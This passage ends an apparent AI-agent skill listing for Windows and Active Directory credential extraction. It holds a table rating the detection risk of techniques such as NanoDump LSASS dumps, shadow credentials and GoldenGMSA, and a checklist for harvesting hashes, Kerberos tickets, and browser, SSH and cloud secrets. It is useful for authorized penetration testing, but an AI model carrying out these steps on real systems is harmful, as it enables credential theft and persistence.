| LSASS dump (NanoDump) | Low | Minimal | Direct syscalls bypass hooks |
| SAM dump (remote) | Medium | 4624, registry access | Standard admin operation |
| ADSync extraction | Low-Med | SQL query, script artifact | Local DB read |
| LAPS read | Low | LDAP query only | Normal directory operation |
| gMSA read | Low | LDAP query | Normal if authorized |
| GoldenGMSA | Medium | 4662 (KDS access) | DA required |
| dMSA BadSuccessor | High | 5136 (object modify) | Visible modification |
| Shadow credentials | Medium | 5136 on target object | Key credential write |
| GPP passwords | Low | SMB read on SYSVOL | Read-only access |
| Browser creds | Low | Local file access | User context needed |
| Cloud metadata | Low | Instance metadata access | No auth events |

---

## Validation Checklist

- [ ] Assessed current privilege level and available credential stores
- [ ] Extracted domain hashes via DCSync or NTDS.dit
- [ ] Dumped LSASS memory (with appropriate LSA Protection bypass)
- [ ] Extracted SAM and LSA secrets from target machines
- [ ] Checked ADSync database if Azure AD Connect present
- [ ] Retrieved LAPS passwords for managed computers
- [ ] Extracted gMSA passwords for accessible service accounts
- [ ] Tested dMSA BadSuccessor if Server 2025 environment
- [ ] Extracted DSRM hash for DC persistence
- [ ] Harvested Kerberos tickets for pass-the-ticket
- [ ] Tested shadow credentials for high-value targets
- [ ] Searched for GPP passwords in SYSVOL
- [ ] Checked browser credential stores
- [ ] Extracted WiFi profiles and SSH keys
- [ ] Searched for cloud credentials (AWS/Azure/GCP)
- [ ] Mined registry, config files, history for hardcoded creds
- [ ] Parsed and validated all extracted hashes
- [ ] Documented every extraction technique with evidence

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.